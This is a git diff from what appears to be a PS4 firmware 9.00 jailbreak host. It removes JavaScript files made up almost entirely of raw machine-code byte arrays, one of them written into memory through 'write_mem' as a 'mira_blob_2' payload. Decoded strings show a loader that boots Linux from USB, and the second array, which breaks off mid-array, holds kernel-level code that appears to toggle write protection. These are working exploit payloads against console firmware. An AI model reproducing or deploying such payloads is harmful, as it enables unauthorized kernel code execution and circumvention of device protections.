0,233,49,2,0,0,72,141,85,160,72,141,69,168,72,137,198,72,141,61,217,18,0,0,232,240,251,255,255,133,192,116,66,72,141,85,160,72,141,69,168,72,137,198,72,141,61,213,18,0,0,232,213,251,255,255,133,192,116,39,72,141,85,160,72,141,69,168,72,137,198,72,141,61,216,18,0,0,232,186,251,255,255,133,192,116,12,72,141,61,232,18,0,0,232,21,253,255,255,72,139,69,168,72,133,192,116,76,72,139,69,160,72,133,192,116,67,199,69,252,0,0,0,0,235,41,72,139,85,168,139,69,252,72,152,72,1,208,15,182,0,60,10,117,18,72,139,85,168,139,69,252,72,152,72,1,208,198,0,0,144,235,33,131,69,252,1,139,69,252,72,99,208,72,139,69,160,72,57,194,114,200,235,12,72,141,61,6,19,0,0,232,180,252,255,255,72,141,5,27,19,0,0,72,137,69,168,72,141,85,144,72,141,69,152,72,137,198,72,141,61,185,19,0,0,232,39,251,255,255,133,192,116,66,72,141,85,144,72,141,69,152,72,137,198,72,141,61,177,19,0,0,232,12,251,255,255,133,192,116,39,72,141,85,144,72,141,69,152,72,137,198,72,141,61,169,19,0,0,232,241,250,255,255,133,192,116,12,72,141,61,183,19,0,0,232,76,252,255,255,72,139,69,152,72,133,192,116,45,72,139,69,144,72,133,192,116,36,72,139,69,152,72,137,199,232,145,252,255,255,137,69,248,131,125,248,0,126,6,131,125,248,5,126,23,199,69,248,3,0,0,0,235,14,72,141,61,228,19,0,0,232,10,252,255,255,235,1,144,199,69,248,3,0,0,0,190,0,0,0,0,72,141,61,173,249,255,255,232,158,192,255,255,72,141,149,16,255,255,255,184,0,0,0,0,185,13,0,0,0,72,137,215,243,72,171,72,141,5,113,251,255,255,72,137,133,16,255,255,255,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,190,0,64,0,0,191,0,0,0,0,232,179,192,255,255,72,137,133,32,255,255,255,72,199,133,40,255,255,255,0,64,0,0,72,141,69,136,72,137,133,64,255,255,255,72,141,69,128,72,137,133,72,255,255,255,72,141,133,16,255,255,255,190,104,0,0,0,72,137,199,232,100,192,255,255,72,139,125,168,72,139,77,176,72,139,85,184,72,139,117,192,72,139,69,200,68,139,69,248,69,137,193,73,137,248,72,137,199,232,203,249,255,255,235,254,201,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,121,115,67,111,114,101,82,101,98,111,111,116,0,0,0,0,0,0,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,0,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,67,111,109,112,105,108,101,100,32,98,121,32,64,78,97,122,107,121,89,84,0,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,122,73,109,97,103,101,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,10,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,111,111,116,97,114,103,115,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,98,111,111,116,97,114,103,115,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0,0,0,0,0,0,0,0,112,97,110,105,99,61,48,32,99,108,111,99,107,115,111,117,114,99,101,61,116,115,99,32,114,97,100,101,111,110,46,100,112,109,61,48,32,99,111,110,115,111,108,101,61,116,116,121,48,32,99,111,110,115,111,108,101,61,116,116,121,83,48,44,49,49,53,50,48,48,110,56,32,99,111,110,115,111,108,101,61,117,97,114,116,56,50,53,48,44,109,109,105,111,51,50,44,48,120,100,48,51,52,48,48,48,48,32,118,105,100,101,111,61,72,68,77,73,45,65,45,49,58,49,57,50,48,120,49,48,56,48,45,50,52,64,54,48,32,99,111,110,115,111,108,101,98,108,97,110,107,61,48,32,110,101,116,46,105,102,110,97,109,101,115,61,48,32,100,114,109,46,100,101,98,117,103,61,48,0,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,118,114,97,109,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,118,114,97,109,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0]; - -window.mira_blob_2_len = 0x54a5; -window.mira_blob_2 = malloc(window.mira_blob_2_len); -write_mem(window.mira_blob_2, payload); diff --git a/900N/LinuxLoader4gb.bin b/900N/LinuxLoader4gb.bin new file mode 100644 index 0000000..58e9c0c Binary files /dev/null and b/900N/LinuxLoader4gb.bin differ diff --git a/900N/LinuxLoader4gb.js b/900N/LinuxLoader4gb.js deleted file mode 100644 index 29eafa0..0000000 --- a/900N/LinuxLoader4gb.js +++ /dev/null @@ -1,5 +0,0 @@ -var payload = [233,169,61,0,0,243,15,30,250,85,72,137,229,72,129,236,208,1,0,0,72,137,189,72,254,255,255,137,181,68,254,255,255,72,137,149,56,254,255,255,72,137,141,48,254,255,255,199,69,252,0,0,0,0,72,141,85,252,72,139,133,72,254,255,255,185,0,0,0,0,190,0,0,0,0,72,137,199,232,231,1,0,0,72,133,192,116,7,184,0,0,0,0,235,89,72,199,133,80,254,255,255,168,1,0,0,139,69,252,72,141,149,80,254,255,255,190,0,0,0,0,137,199,232,205,1,0,0,133,192,116,7,184,0,0,0,0,235,45,139,69,244,131,248,1,119,32,72,139,133,120,255,255,255,72,137,193,72,139,149,56,254,255,255,72,139,133,48,254,255,255,72,137,214,72,137,199,255,209,139,69,252,72,152,201,195,243,15,30,250,85,72,137,229,72,131,236,16,72,137,125,248,137,117,244,139,117,244,72,139,69,248,185,0,0,0,0,186,0,0,0,0,72,137,199,232,31,255,255,255,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,137,117,224,72,199,69,248,0,0,0,0,72,139,69,232,137,193,72,141,85,248,72,139,69,224,72,137,198,137,207,232,11,1,0,0,72,139,69,248,201,195,102,46,15,31,132,0,0,0,0,0,15,31,64,0,72,199,192,3,0,0,0,73,137,202,15,5,15,130,30,1,0,0,195,72,199,192,5,0,0,0,73,137,202,15,5,15,130,11,1,0,0,195,72,199,192,6,0,0,0,73,137,202,15,5,15,130,248,0,0,0,195,72,199,192,11,0,0,0,73,137,202,15,5,15,130,229,0,0,0,195,72,199,192,37,0,0,0,73,137,202,15,5,15,130,210,0,0,0,195,72,199,192,240,0,0,0,73,137,202,15,5,15,130,191,0,0,0,195,72,199,192,160,1,0,0,73,137,202,15,5,15,130,172,0,0,0,195,72,199,192,199,1,0,0,73,137,202,15,5,15,130,153,0,0,0,195,72,199,192,221,1,0,0,73,137,202,15,5,15,130,134,0,0,0,195,72,199,192,222,1,0,0,73,137,202,15,5,15,130,115,0,0,0,195,72,199,192,28,2,0,0,73,137,202,15,5,15,130,96,0,0,0,195,72,199,192,29,2,0,0,73,137,202,15,5,15,130,77,0,0,0,195,72,199,192,34,2,0,0,73,137,202,15,5,15,130,58,0,0,0,195,72,199,192,79,2,0,0,73,137,202,15,5,15,130,39,0,0,0,195,72,199,192,82,2,0,0,73,137,202,15,5,15,130,20,0,0,0,195,72,199,192,96,2,0,0,73,137,202,15,5,15,130,1,0,0,0,195,137,5,154,109,0,0,72,49,192,72,255,200,195,243,15,30,250,65,85,65,84,85,72,137,245,83,81,156,65,93,250,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,232,156,36,0,0,65,131,204,255,133,192,120,76,190,153,0,0,0,72,141,61,217,47,0,0,49,192,69,49,228,255,21,203,54,0,0,186,6,0,0,0,72,141,53,130,0,0,0,191,153,0,0,0,232,188,35,0,0,49,192,72,141,61,216,47,0,0,255,21,166,54,0,0,72,133,237,116,11,72,141,5,93,0,0,0,72,137,69,0,15,32,192,129,227,0,0,1,0,72,9,216,15,34,192,72,133,219,72,139,5,229,54,0,0,116,7,72,133,192,116,2,255,208,65,85,157,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,72,133,255,116,26,49,192,72,133,246,116,19,72,57,194,116,11,138,12,7,136,12,6,72,255,192,235,240,49,192,195,184,14,0,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,139,70,24,72,133,255,72,137,243,72,141,45,180,255,255,255,72,137,4,36,72,141,5,82,3,0,0,72,137,68,36,16,116,19,72,139,5,33,54,0,0,72,139,45,10,54,0,0,72,137,68,36,16,72,141,61,62,44,0,0,49,192,255,21,230,53,0,0,72,139,75,16,49,192,72,139,83,8,72,141,61,56,44,0,0,76,139,75,32,76,139,67,24,72,139,51,255,21,196,53,0,0,72,139,5,61,54,0,0,72,133,192,72,137,68,36,24,15,132,148,2,0,0,72,139,123,8,232,84,33,0,0,72,133,192,73,137,198,117,25,72,141,61,29,44,0,0,49,192,49,237,69,49,237,255,21,138,53,0,0,69,49,210,235,94,72,139,83,8,72,137,198,72,139,59,255,213,133,192,65,137,196,116,31,72,141,61,11,44,0,0,49,192,49,237,69,49,255,255,21,94,53,0,0,69,49,237,69,49,210,233,76,2,0,0,72,139,4,36,72,141,184,112,128,1,0,232,241,32,0,0,72,133,192,73,137,197,117,34,72,141,61,237,43,0,0,49,192,49,237,255,21,42,53,0,0,69,49,210,69,49,255,65,188,12,0,0,0,233,18,2,0,0,72,137,199,232,74,21,0,0,72,99,208,133,192,72,137,84,36,8,121,24,72,141,61,213,43,0,0,49,192,255,21,246,52,0,0,72,199,68,36,8,0,0,0,0,72,131,60,36,0,116,49,72,139,68,36,8,72,139,123,16,72,139,20,36,73,141,116,5,0,255,213,133,192,65,137,196,116,22,72,141,61,207,43,0,0,49,192,49,237,69,49,255,255,21,183,52,0,0,235,91,65,139,134,56,2,0,0,68,141,120,1,76,137,255,232,80,32,0,0,72,133,192,72,137,197,117,23,72,141,61,187,43,0,0,49,192,255,21,139,52,0,0,69,49,210,233,95,255,255,255,72,137,198,72,139,123,32,72,139,68,36,16,49,201,76,137,250,255,208,133,192,65,137,196,116,23,72,141,61,166,43,0,0,49,192,255,21,90,52,0,0,69,49,210,233,75,1,0,0,72,139,76,36,8,66,198,68,61,255,0,72,3,12,36,72,141,61,155,43,0,0,49,192,72,137,12,36,255,21,48,52,0,0,72,139,115,8,72,141,61,152,43,0,0,49,192,255,21,29,52,0,0,72,139,12,36,72,141,61,169,43,0,0,72,139,83,24,49,192,72,137,206,255,21,3,52,0,0,72,137,238,72,141,61,196,43,0,0,49,192,255,21,241,51,0,0,76,137,246,72,141,61,207,43,0,0,49,192,255,21,223,51,0,0,76,137,238,72,141,61,218,43,0,0,49,192,255,21,205,51,0,0,191,0,16,0,0,232,113,31,0,0,72,139,12,36,72,133,192,117,27,72,137,4,36,72,141,61,209,43,0,0,49,192,65,188,12,0,0,0,255,21,161,51,0,0,235,83,68,139,75,40,76,137,234,72,137,198,73,137,232,76,137,247,72,137,4,36,232,175,8,0,0,76,139,20,36,76,137,246,76,137,215,232,207,8,0,0,72,139,116,36,24,72,141,61,120,12,0,0,232,132,31,0,0,72,139,21,95,51,0,0,133,192,117,21,72,141,61,141,43,0,0,65,188,22,0,0,0,255,210,76,139,20,36,235,63,72,141,61,153,43,0,0,49,192,255,210,72,141,61,198,43,0,0,49,192,255,21,44,51,0,0,72,141,61,239,43,0,0,49,192,255,21,29,51,0,0,235,76,49,237,69,49,210,69,49,237,69,49,246,69,49,255,65,188,2,0,0,0,76,137,254,72,137,239,76,137,20,36,232,246,30,0,0,76,139,20,36,190,0,16,0,0,76,137,215,232,229,30,0,0,72,139,115,8,76,137,247,232,217,30,0,0,72,139,115,24,76,137,239,232,205,30,0,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,108,72,133,246,116,103,76,141,66,255,49,192,128,60,7,0,65,15,149,193,73,57,192,65,15,151,194,69,33,209,73,137,194,72,255,192,65,128,225,1,117,226,72,57,194,76,15,71,192,69,49,201,77,57,200,116,13,70,138,28,15,70,136,28,14,73,255,193,235,238,76,57,210,66,198,4,6,0,119,16,72,133,201,65,184,63,0,0,0,116,24,72,137,17,235,19,69,49,192,72,133,201,116,11,72,137,1,235,6,65,184,14,0,0,0,68,137,192,195,243,15,30,250,65,85,65,84,85,83,72,131,236,24,15,32,192,72,37,255,255,254,255,15,34,192,250,72,139,5,20,50,0,0,185,16,